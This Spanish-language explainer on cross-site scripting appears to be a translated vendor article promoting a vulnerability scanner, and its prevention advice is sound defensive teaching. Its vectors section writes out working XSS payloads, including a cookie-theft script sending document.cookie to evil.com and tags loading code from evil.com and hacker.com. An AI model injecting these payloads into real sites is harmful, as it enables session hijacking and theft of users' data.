El Scripting cruzado (XSS) es un ataque de inyección de código del lado del cliente. El atacante tiene como objetivo ejecutar scripts maliciosos en un navegador web de la víctima mediante la inclusión de código malicioso en una página o aplicación web legítima. El ataque real se produce cuando la víctima visita la página o aplicación web que ejecuta el código malicioso. La página o aplicación web se convierte en un vehículo para entregar el script malicioso al navegador del usuario. Los vehículos vulnerables que se utilizan habitualmente para los ataques de Cross-site Scripting son los foros, los tableros de mensajes y las páginas web que permiten comentarios.
Una página o aplicación web es vulnerable al XSS si utiliza entradas de usuario no sanitizadas en la salida que genera. Esta entrada del usuario debe ser analizada por el navegador de la víctima. Los ataques XSS son posibles en VBScript, ActiveX, Flash e incluso CSS. Sin embargo, son más comunes en JavaScript, principalmente porque JavaScript es fundamental para la mayoría de las experiencias de navegación.
«¿No es el Cross-site Scripting el problema del usuario?»
Si un atacante puede abusar de una vulnerabilidad XSS en una página web para ejecutar JavaScript arbitrario en el navegador de un usuario, la seguridad de ese sitio web vulnerable o aplicación web vulnerable y sus usuarios se ha visto comprometida. El XSS no es un problema del usuario como cualquier otra vulnerabilidad de seguridad. Si está afectando a sus usuarios, le afecta a usted.
El Cross-site Scripting también puede ser utilizado para desfigurar un sitio web en lugar de dirigirse al usuario. El atacante puede utilizar los scripts inyectados para cambiar el contenido del sitio web o incluso redirigir el navegador a otra página web, por ejemplo, una que contenga código malicioso.
¿Qué puede hacer el atacante con JavaScript?
Las vulnerabilidades XSS se perciben como menos peligrosas que, por ejemplo, las de inyección SQL. Las consecuencias de la capacidad de ejecutar JavaScript en una página web pueden no parecer graves al principio. La mayoría de los navegadores web ejecutan JavaScript en un entorno muy controlado. JavaScript tiene un acceso limitado al sistema operativo del usuario y a sus archivos. Sin embargo, JavaScript puede seguir siendo peligroso si se utiliza indebidamente como parte de un contenido malicioso:
- El JavaScript malicioso tiene acceso a todos los objetos a los que tiene acceso el resto de la página web. Esto incluye el acceso a las cookies del usuario. Las cookies se utilizan a menudo para almacenar tokens de sesión. Si un atacante puede obtener la cookie de sesión de un usuario, puede hacerse pasar por ese usuario, realizar acciones en nombre del usuario y obtener acceso a los datos sensibles del usuario.
- JavaScript puede leer el DOM del navegador y hacer modificaciones arbitrarias en él. Por suerte, esto sólo es posible dentro de la página en la que se ejecuta JavaScript.
- JavaScript puede utilizar el objeto
XMLHttpRequest
para enviar peticiones HTTP con contenido arbitrario a destinos arbitrarios. - JavaScript en los navegadores modernos puede utilizar las API de HTML5. Por ejemplo, puede obtener acceso a la geolocalización del usuario, la cámara web, el micrófono e incluso a archivos específicos del sistema de archivos del usuario. La mayoría de estas API requieren el consentimiento del usuario, pero el atacante puede utilizar la ingeniería social para eludir esa limitación.
Lo anterior, en combinación con la ingeniería social, permite a los delincuentes realizar ataques avanzados que incluyen el robo de cookies, la implantación de troyanos, el registro de teclas, el phishing y el robo de identidad. Las vulnerabilidades XSS proporcionan el terreno perfecto para escalar los ataques a otros más serios. El Cross-site Scripting también se puede utilizar junto con otros tipos de ataques, por ejemplo, Cross-Site Request Forgery (CSRF).
Hay varios tipos de ataques de Cross-site Scripting: XSS almacenado/persistente, XSS reflejado/no persistente y XSS basado en DOM. Puede leer más sobre ellos en un artículo titulado Tipos de XSS.
Cómo funciona el Cross-site Scripting
Hay dos etapas en un típico ataque XSS:
- Para ejecutar código JavaScript malicioso en el navegador de una víctima, un atacante debe encontrar primero una forma de inyectar código malicioso (carga útil) en una página web que la víctima visite.
- Después de eso, la víctima debe visitar la página web con el código malicioso. Si el ataque se dirige a víctimas concretas, el atacante puede utilizar la ingeniería social y/o el phishing para enviar una URL maliciosa a la víctima.
- El atacante inyecta una carga útil en la base de datos del sitio web mediante el envío de un formulario vulnerable con contenido JavaScript malicioso.
- La víctima solicita la página web al servidor web.
- El servidor web sirve al navegador de la víctima la página con la carga útil del atacante como parte del cuerpo HTML.
- El navegador de la víctima ejecuta el script malicioso contenido en el cuerpo HTML. En este caso, envía la cookie de la víctima al servidor del atacante.
- El atacante ahora sólo tiene que extraer la cookie de la víctima cuando la petición HTTP llegue al servidor.
- El atacante puede ahora utilizar la cookie robada de la víctima para suplantar su identidad.
Para que el primer paso sea posible, el sitio web vulnerable debe incluir directamente la entrada del usuario en sus páginas. Un atacante puede entonces insertar una cadena maliciosa que será utilizada dentro de la página web y tratada como código fuente por el navegador de la víctima. También hay variantes de ataques XSS en los que el atacante atrae al usuario para que visite una URL utilizando ingeniería social y la carga útil es parte del enlace en el que el usuario hace clic.
El siguiente es un fragmento de pseudocódigo del lado del servidor que se utiliza para mostrar el comentario más reciente en una página web:
print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"
El script anterior simplemente toma el último comentario de una base de datos y lo incluye en una página HTML. Asume que el comentario impreso consiste sólo en texto y no contiene etiquetas HTML u otro código. Es vulnerable al XSS, porque un atacante podría enviar un comentario que contenga una carga maliciosa, por ejemplo:
<script>doSomethingEvil();</script>
El servidor web proporciona el siguiente código HTML a los usuarios que visitan esta página web:
<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>
Cuando la página se carga en el navegador de la víctima, se ejecuta el script malicioso del atacante. La mayoría de las veces, la víctima no se da cuenta y es incapaz de evitar dicho ataque.
Robo de cookies mediante XSS
Los delincuentes suelen utilizar XSS para robar cookies. Esto les permite suplantar a la víctima. El atacante puede enviar la cookie a su propio servidor de muchas maneras. Una de ellas es ejecutar el siguiente script del lado del cliente en el navegador de la víctima:
<script>window.location="http://evil.com/?cookie=" + document.cookie</script>
La siguiente figura ilustra un paso a paso de un simple ataque XSS.
Para saber más sobre cómo se llevan a cabo los ataques XSS, puede consultar un artículo titulado Un tutorial completo sobre cross-site scripting.
Vectores de ataque de cross-site scripting
A continuación se muestra una lista de vectores de ataque XSS comunes que un atacante podría utilizar para comprometer la seguridad de un sitio o aplicación web mediante un ataque XSS. La organización OWASP mantiene una lista más extensa de ejemplos de cargas útiles XSS: XSS Filter Evasion Cheat Sheet.
<script> tag
La etiqueta <script>
es la carga útil XSS más directa. Una etiqueta script
puede hacer referencia a código JavaScript externo o puede incrustar el código dentro de la propia etiqueta script
.
<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>
Eventos JavaScript
Los atributos de eventos JavaScript como onload
y onerror
pueden utilizarse en muchas etiquetas diferentes. Este es un vector de ataque XSS muy popular.
<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>
<body> tag
Un payload XSS puede ser entregado dentro de la etiqueta <body>
mediante el uso de atributos de evento (ver arriba) u otros atributos más oscuros como el atributo background
.
<!-- background attribute --><body background="javascript:alert("XSS")">
<img> tag
Algunos navegadores ejecutan el JavaScript que se encuentra en los atributos <img>
.
<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">
<iframe> tag
La etiqueta <iframe>
permite incrustar otra página HTML en la página actual. Un IFrame puede contener JavaScript, pero el JavaScript en el IFrame no tiene acceso al DOM de la página principal debido a la Política de Seguridad de Contenidos (CSP) del navegador. Sin embargo, los IFrames siguen siendo muy eficaces para realizar ataques de phishing.
<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">
<input> tag
En algunos navegadores, si el atributo type
de la etiqueta <input>
se establece como image
, se puede manipular para incrustar un script.
<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">
<link> tag
La etiqueta <link>
, que suele utilizarse para enlazar con hojas de estilo externas, puede contener un script.
<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">
<table> tag
El atributo background de las etiquetas <table>
y <td>
puede ser explotado para referirse a un script en lugar de una imagen.
<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">
<> etiqueta
La etiqueta <div>
, similar a las etiquetas <table> y <td>
, también puede especificar un fondo y, por tanto, incrustar un script.
<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">
<objeto> etiqueta
El <object> tag
puede utilizarse para incluir un script de un sitio externo.
<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">
Su sitio o aplicación web es vulnerable a Cross-site Scripting
Las vulnerabilidades de Cross-site Scripting son una de las más comunes en las aplicaciones web. La organización OWASP (Open Web Application Security Project) enumera las vulnerabilidades XSS en su documento OWASP Top 10 2017 como el segundo problema más frecuente.
Afortunadamente, es fácil comprobar si su sitio o aplicación web es vulnerable a XSS y otras vulnerabilidades ejecutando un escáner web automatizado utilizando el escáner de vulnerabilidades Acunetix, que incluye un módulo de escáner XSS especializado. Haga una demostración y obtenga más información sobre la ejecución de escaneos XSS en su sitio o aplicación web. Un ejemplo de cómo puede detectar vulnerabilidades XSS ciegas con Acunetix está disponible en el siguiente artículo: Cómo detectar vulnerabilidades XSS ciegas.
Cómo prevenir XSS
Para mantenerse a salvo de XSS, debe sanear su entrada. El código de su aplicación nunca debe dar salida a los datos recibidos como entrada directamente al navegador sin comprobar si hay código malicioso.
Para más detalles, consulte los siguientes artículos: Cómo prevenir los ataques XSS y Cómo prevenir el Cross-site Scripting basado en el DOM. También puede encontrar información útil en la hoja de trucos de prevención de XSS mantenida por la organización OWASP.
Cómo prevenir el Cross-site Scripting (XSS) – Consejos genéricos
Prevenir el Cross-site Scripting (XSS) no es fácil. Las técnicas de prevención específicas dependen del subtipo de vulnerabilidad XSS, del contexto de uso de la entrada del usuario y del marco de programación. Sin embargo, hay ciertos principios estratégicos generales que debe seguir para mantener su aplicación web segura.
Paso 1: Formar y mantener la concienciaciónPara mantener la seguridad de su aplicación web, todas las personas involucradas en la construcción de la aplicación web deben ser conscientes de los riesgos asociados a las vulnerabilidades XSS. Debe proporcionar una formación de seguridad adecuada a todos sus desarrolladores, personal de control de calidad, DevOps y SysAdmins. Puedes empezar por remitirles a esta página. |
||||||
Paso 2: No confíes en ninguna entrada del usuarioTrata toda la entrada del usuario como no fiable. Cualquier entrada del usuario que se utilice como parte de la salida HTML introduce un riesgo de un XSS. Trate la entrada de usuarios autenticados y/o internos de la misma manera que trata la entrada pública.
|
Paso 3: Utilice el escape/codificaciónUtilice una técnica de escape/codificación apropiada dependiendo de dónde se vaya a utilizar la entrada del usuario: Escape HTML, escape JavaScript, escape CSS, escape URL, etc. Utiliza las librerías existentes para el escape, no escribas las tuyas propias a menos que sea absolutamente necesario. |
|
Paso 4: Sanear el HTMLSi la entrada del usuario necesita contener HTML, no puedes escapar/codificarlo porque rompería las etiquetas válidas. En estos casos, utilice una biblioteca de confianza y verificada para analizar y limpiar el HTML. Elige la librería dependiendo de tu lenguaje de desarrollo, por ejemplo, HtmlSanitizer para .NET o SanitizeHelper para Ruby on Rails. |
|
Paso 5: Establezca la bandera HttpOnlyPara mitigar las consecuencias de una posible vulnerabilidad XSS, establezca la bandera HttpOnly para las cookies. Si lo hace, dichas cookies no serán accesibles a través de JavaScript del lado del cliente.
|
Paso 6: Utilice una Política de Seguridad de ContenidosPara mitigar las consecuencias de una posible vulnerabilidad XSS, utilice también una Política de Seguridad de Contenidos (CSP). La CSP es una cabecera de respuesta HTTP que te permite declarar los recursos dinámicos que se permiten cargar en función del origen de la petición. |
Paso 7: Escanea regularmente (con Acunetix)Las vulnerabilidades XSS pueden ser introducidas por tus desarrolladores o a través de librerías/módulos/software externos. Debe escanear regularmente sus aplicaciones web utilizando un escáner de vulnerabilidades web como Acunetix. Si usas Jenkins, deberías instalar el plugin de Acunetix para escanear automáticamente cada compilación. |
Preguntas frecuentes
Aprenda más sobre el estado actual de la seguridad web.
Vea un ejemplo de un peligroso ataque XSS del pasado
Descubra por qué es bueno escanear en busca de vulnerabilidades antes de contratar pen testers.
Vea lo que Acunetix Premium puede hacer por usted.